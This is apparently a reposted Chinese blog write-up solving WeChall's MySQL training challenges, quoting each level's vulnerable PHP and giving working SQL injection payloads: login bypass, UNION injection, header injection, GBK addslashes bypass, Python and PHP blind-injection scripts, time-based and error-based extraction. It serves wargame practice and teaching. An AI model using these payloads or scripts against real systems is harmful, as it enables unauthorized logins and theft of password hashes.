wechall mysql关卡题解

admin 2019年5月14日01:19:13评论460 views字数 13441阅读44分48秒阅读模式
摘要

特别鸣谢 Random Debug Slipper 对我的无私帮助PS:虽然是一份题解,但是其中某些题目的解法还有些不尽人意。如有更好的思路欢迎留言评论 :)

特别鸣谢 Random Debug Slipper 对我的无私帮助

PS:虽然是一份题解,但是其中某些题目的解法还有些不尽人意。如有更好的思路欢迎留言评论 wechall mysql关卡题解

QQ:915910623

Training: MySQL I


最简单的注入情况,参数没有经过任何过滤就带入查询

漏洞代码:

function auth1_onLogin(WC_Challenge $chall, $username, $password) {         $db = auth1_db();          $password = md5($password);          $query = "SELECT * FROM users WHERE username='$username' AND password='$password'";          if (false === ($result = $db->queryFirst($query))) {                 echo GWF_HTML::error('Auth1', $chall->lang('err_unknown'), false); # Unknown user                 return false;         }          # Welcome back!         echo GWF_HTML::message('Auth1', $chall->lang('msg_welcome_back', htmlspecialchars($result['username'])), false);          # Challenge solved?         if (strtolower($result['username']) === 'admin') {                 $chall->onChallengeSolved(GWF_Session::getUserID());         }          return true; } 

利用语句:

username=admin' --  

MySQL Authentication Bypass II


比较基础的题目,和上一题不同,username password分开来验证。通常的利用方法是使用union构造已知MD5值的查询。

漏洞代码:

function auth2_onLogin(WC_Challenge $chall, $username, $password) {         $db = auth2_db();          $password = md5($password);          $query = "SELECT * FROM users WHERE username='$username'";          if (false === ($result = $db->queryFirst($query))) {                 echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);                 return false;         }           #############################         ### This is the new check ###         if ($result['password'] !== $password) {                 echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);                 return false;         } #  End of the new code  ###         #############################           echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false);          if (strtolower($result['username']) === 'admin') {                 $chall->onChallengeSolved(GWF_Session::getUserID());         }          return true; } 

利用语句:

username=wyl' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b' --  &password=1&login=Login 

也可以直接使用mysql自带的 MD5 函数来生成 hash

username=wyl' union select 1,'admin',md5('1') --  &password=1&login=Login 

No Escape


一个投票的功能,使用mysql_real_escape_string()对参数进行了过滤,不过并不需要绕过它,因为它并不会过滤重音符(backtick)

漏洞代码:

function noesc_voteup($who) {         if ( (stripos($who, 'id') !== false) || (strpos($who, '/') !== false) ) {                 echo GWF_HTML::error('No Escape', 'Please do not mess with the id. It would break the challenge for others', false);                 return;         }           $db = noesc_db();         $who = mysql_real_escape_string($who);         $query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";         if (false !== $db->queryWrite($query)) {                 echo GWF_HTML::message('No Escape', 'Vote counted for '.GWF_HTML::display($who), false);         }          noesc_stop100(); } 

利用方式:

vote_for=bill` = `bill` %2b 111 where bill=0 --%20 

当然也可以写的简短一点

barack`=111# 

The Guestbook


一个留言本的程序,其中大部分参数都经过了过滤,但是IP地址直接带入insert语句,可以构造一个x-forwraded-for来实现注入

需要在insert语句中使用select子查询

漏洞代码:

function gbook_getIP() {         if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {                 return $_SERVER['HTTP_X_FORWARDED_FOR'];         }         elseif (isset($_SERVER['HTTP_VIA'])) {                  return $_SERVER['HTTP_VIA'];         }         else {                 return $_SERVER['REMOTE_ADDR'];         } } 

利用方式:

头中不能使用urlencode,末尾空格会被会忽略

X-Forwarded-For: 127.0.0.1,8888',(select gbu_password from gbook_user where gbu_name='admin')) # 

如果非要使用--也可以这样构造

X-Forwarded-For: 127.0.0.1,8888',(select gbu_password from gbook_user where gbu_name='admin')) -- a 

MD5.SALT


这道题是一道简单的注入,不过需要破解MD5,在网站上付费一下就可以了。

漏洞代码:

题目没有给出源代码

利用方式:

' union select password,2 from users --  

Addslashes


这题的参数使用了Addslashes()函数进行了过滤,使用双字节绕过即可。

漏洞代码:

function asvsmysql_login($username, $password) {         $username = addslashes($username);         $password = md5($password);          if (false === ($db = gdo_db_instance('localhost', ADDSLASH_USERNAME, ADDSLASH_PASSWORD, ADDSLASH_DATABASE, GWF_DB_TYPE, 'GBK'))) {                 return htmlDisplayError('Can`t connect to database.');         }          $db->setLogging(false);         $db->setEMailOnError(false);          $query = "SELECT username FROM users WHERE username='$username' AND password='$password'";          if (false === ($result = $db->queryFirst($query))) {                 return htmlDisplayError('Wrong username/password.');         }          if ($result['username'] !== 'Admin') {                 return htmlDisplayError('You are logged in, but not as Admin.');         }          return htmlDisplayMessage('You are logged in. congrats!'); } 

利用方式:

使用limit猜测一下,admin的位置

username=Admin%bf' union select username from users limit 1,1 --  

或者直接构造一个admin出来

username=%b3%27+union+select+Char(65,100,109,105,110)/* 

当然这些方法,主要是为了绕过单引号,还有一些有趣的利用

username=%bf%27 OR CONV(username,36,10) = 17431871# 

Blinded by the light


盲注,参数没用经过过滤,猜测一个32位的hash,但是要求在128次之内猜解出来,使用二分即可。

漏洞代码:

function blightVuln($password) {         # Do not mess with other sessions!         if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )         {                 return false;         }          $db = blightDB();         $sessid = GWF_Session::getSession()->getID();         $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";         return $db->queryFirst($query) !== false; } 

利用脚本:

常规的二分盲注

import urllib import urllib2 def doinject(payload):     url = 'http://www.wechall.net/challenge/blind_light/index.php'     values = {'injection':payload,'inject':'Inject'}     data = urllib.urlencode(values)     #print data     req = urllib2.Request(url, data)     req.add_header('cookie','WC=7205526-10787-ZSOZPXjj8gf4BE7K')     response = urllib2.urlopen(req)     the_page = response.read()     if (the_page.find("Welcome back")>0):         return True     else:         return False   wordlist = "0123456789ABCDEF" res = "" for i in range(1,33):     s=0     t=15     while (s<t):         if (t-s==1):             if doinject('/' or substring(password,'+str(i)+',1)=/''+wordlist[t]+'/' -- '):                 m=t                 break             else:                 m=s                 break         m=(s+t)/2         if doinject('/' or substring(password,'+str(i)+',1)>/''+wordlist[m]+'/' -- '):             s=m+1             print wordlist[s]+":"+wordlist[t]         else:             t=m             print wordlist[s]+":"+wordlist[t]     res = res+wordlist[m]     print res 

使用正则表达式的盲注

$sUrl = 'http://www.wechall.net/challenge/blind_light/index.php'; $sPost = 'inject=Inject&injection='; $sCharset = 'ABCDEF0123456789';   /* for every character */ for ($i=0, $hash=''; $i<32; ++$i) {         $ch = $sCharset;          do {                 $ch1 = substr($ch, 0, intval(strlen($ch)/2));                 $ch2 = substr($ch, intval(strlen($ch)/2));                  $p = $sPost.'absolutelyimpossible/' OR 1=(SELECT 1 FROM blight WHERE password REGEXP /'^'.$hash.'['.$ch1.']/' AND sessid=xxx) AND /'1/'=/'1';                 $res = libHTTP::POST($sUrl, $p);                  if (strpos($res['content'], 'Your password is wrong') === false)                         $ch = $ch1;                 else                          $ch = $ch2;          } while (strlen($ch) > 1);          $hash .= $ch;         echo "/rhash: ".$hash; } 

Blinded by the lighter


这题和上题相同,只不过把次数减少成为33次

漏洞代码:

function blightVuln($password) {         # Do not mess with other sessions!         if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )         {                 return false;         }          $db = blightDB();         $sessid = GWF_Session::getSessSID();         $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";         return $db->queryFirst($query) !== false; } 

利用方式:

使用基于时间的注入来判断字符ascii码

' or benchmark(ord(substr(password,1,1))*1000000,MD5(1)) 

这样做可以提高一点精确度

' or sleep(ord(substr(password,1,1))) 

ps.这题使用这种方法写的脚本,在精度上会出现问题,如果有什么好的思路请留言告知<sub>~</sub>~

Light in the Darkness


上面两题的加强版,只允许2次查询。不过是返回错误信息的盲注。可以使用双查询报错。

漏洞代码:

function blightVuln($password) {         # Do not mess with other sessions!         if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )         {                 return false;         }          $db = blightDB();         $sessid = GWF_Session::getSessSID();         $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";         return $db->queryFirst($query) !== false; } 

利用方式:

1' or (select count(*) from information_schema.tables group by concat(password,floor(rand(0)*2))) --  

我其实对这种报错方式的原理很好奇,也很不解,有感兴趣的同学欢迎指教。

下面是我对这题的几点疑惑:

特别是使用用户变量时,反应也很神奇,比如这题的另一种解法,不明白其中的原理。

 '||(select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2))||' 

我当时设想出这样一种解法,但是发现包含有@xxxx的语句都不会触发这个bug,除非@xxxx是纯数字。很迷茫。

' or (@lanlan:=password) or (select 1 from(select count(*),concat(@lanlan,floor(rand(0)*2))x from information_schema.tables group by x)a) --  

Are you blind?


这题也是一道盲注,可是不管对错返回的结果一样。可以使用order by报错的方法来盲注。

漏洞代码:

function blightVuln(WC_Challenge $chall, $password, $attempt) {         # Do not mess with other sessions!         if ( (strpos($password, '/*') !== false) || (stripos($password, 'blight') !== false) )         {                 return $chall->lang('mawekl_blinds_you', array($attempt));         }          # And please, no timing attempts!         if ( (stripos($password, 'benchmark') !== false) || (stripos($password, 'sleep') !== false) )         {                 return $chall->lang('mawekl_blinds_you', array($attempt));         }          $db = blightDB();         $sessid = GWF_Session::getSessSID();         $query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";         return $db->queryFirst($query) ?                  $chall->lang('mawekl_blinds_you', array($attempt)) :                 $chall->lang('mawekl_blinds_you', array($attempt)) ; } 

利用语句:

injection=' or  if(1,1,(select 1 union select 2)) = 1 -- &inject=Inject 

Order By Query


这是一个在order by后面的注入,可以直接使用双查询报错来解决。也可以使用盲注的手法猜测。

漏洞代码:

function addslash2_sort($orderby, $dir) {         if (false === ($db = addslash2_get_db())) {                 return false;         }         static $whitelist = array(1, 3, 4, 5);         static $names = array(1 => 'Username', 3 => 'Apples', 4 => 'Bananas', 5 => 'Cherries');          $dir = GDO::getWhitelistedDirS($dir, 'DESC');          if (!in_array($orderby, $whitelist)) {                 return htmlDisplayError('Error 1010101: Not in whitelist.');         }          $orderby = $db->escape($orderby);          $query = "SELECT * FROM users ORDER BY $orderby $dir LIMIT 10";         if (false === ($rows = $db->queryAll($query))) {                 return false;         }          $headers = array(                 array('#'),                 array('Username', '1', 'ASC'),                 array('Apples', '3', 'DESC'),                 array('Bananas', '4', 'DESC'),                 array('Cherries', '5', 'DESC'),         );         echo '<div class="box box_c">'.PHP_EOL;         echo '<table>'.PHP_EOL;         echo GWF_Table::displayHeaders1($headers, GWF_WEB_ROOT.'challenge/order_by_query/index.php?by=%BY%&dir=%DIR%');         $i = 1;         foreach ($rows as $row)         {                 echo GWF_Table::rowStart();                 echo sprintf('<td align="right">%d</td>', $i++);                 echo sprintf('<td>%s</td>', $row['username']);                 echo sprintf('<td align="right">%s</td>', $row['apples']);                 echo sprintf('<td align="right">%s</td>', $row['bananas']);                 echo sprintf('<td align="right">%s</td>', $row['cherries']);                 echo GWF_Table::rowEnd();         }         echo '</table>'.PHP_EOL;         echo '</div>'.PHP_EOL; } 

利用方式:

by=5 and (select 1 from(select count(*),concat((select password from users where username=0x41646d696e),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a) -- 

盲注脚本

<?php $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_COOKIE, 'WC4_SID=xxxxxxxxxxxxxxxxxxxxxxx'); $charset = 'ABCDEF0123456789'; $hash = ''; for($i=0;$i<32;$i++) {         $strona = '';         $index=0;         for($j=0;strpos($strona,'10</td><td>Admin') === false;$j++)         {                 curl_setopt($curl, CURLOPT_URL, 'http://www.wechall.net/challenge/order_by_query/index.php?by=3,%20CASE%20username%20WHEN%200x41646d696e%20THEN%202-%28password%20REGEXP%200x5e'.$hash.dechex(ord($charset[$index++])).'%29%20ELSE%202%20END--');                 $strona = curl_exec ($curl);         }         $hash .= ''.dechex(ord($charset[--$index])); } curl_close($curl); echo $hash; ?> 

Table Names


猜测表名和数据库名的题目,直接查询information_schema即可

漏洞代码:

没有给出源代码

利用方式:

得到表名

username=wyl' union select 1,2,table_name from information_schema.columns where column_name='username' limit 1,1 --  

得到数据库名

username=wyl' union select 1,2,database() --  

Table Names II

这道题同样是猜测,数据库名和表名,不过很多关键词都被过滤了。查到mysql的版本,根据文档找information_schema里面的表, 一个一个试一下就行了。

漏洞代码:

<?php $secret = require('secret.php'); chdir('../../../'); define('GWF_PAGE_TITLE', 'Table Names II'); require_once('challenge/html_head.php'); require(GWF_CORE_PATH.'module/WeChall/solutionbox.php');  if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE))) {         $chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 6, 'challenge/nurfed/more_table_names/index.php', $secret['flag']); } $chall->showHeader(); $chall->onCheckSolution();  if (false !== Common::getGet('login')) {         $username = Common::getGetString('username', '');         $password = Common::getGetString('password', '');          if (preg_match('/statistics|tables|columns|table_constraints|key_column_usage|partitions|schema_privileges|schemata|database|schema/(/)/i', $username.$password))         {                 echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_match'));         }         else         {                 if (false === ($db = gdo_db_instance($secret['host'], $secret['username'], $secret['password'], $secret['database'])))                 {                         die('Database error.');                 }                  $db->setVerbose(false);                 $db->setLogging(false);                 $db->setEMailOnError(false);                   $query = "SELECT * FROM {$secret['database']}.{$secret['table_name']} WHERE username='$username' AND password='$password'";                 if (false === ($result = ($db->queryFirst($query, false))))                 {                         echo GWF_HTML::error(GWF_PAGE_TITLE, $chall->lang('on_login_fail'));                 }                 else                 {                         echo GWF_HTML::message(GWF_PAGE_TITLE, $chall->lang('on_logged_in', array(GWF_HTML::display($result['username']), GWF_HTML::display($result['message']))));                 }         } }  ?> <div class="box box_c"> <form action="challenge.php" method="get"> <div><?php echo $chall->lang('username'); ?>: <input type="text" name="username" value="" /></div> <div><?php echo $chall->lang('password'); ?>: <input type="text" name="password" value="" /></div> <div><input type="submit" name="login" value="<?php echo $chall->lang('login'); ?>" /></div> </form> </div> <?php echo $chall->copyrightFooter(); require_once('challenge/html_foot.php'); 

利用方式:

' union select 1,2,info from information_schema.processlist-- - 

Credit Card Challenge Pwned!


这题描述特别长,看了半天就是发送一个页面给管理员,csrf+injection。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2019年5月14日01:19:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   wechall mysql关卡题解http://cn-sec.com/archives/67053.html

发表评论

匿名网友 填写信息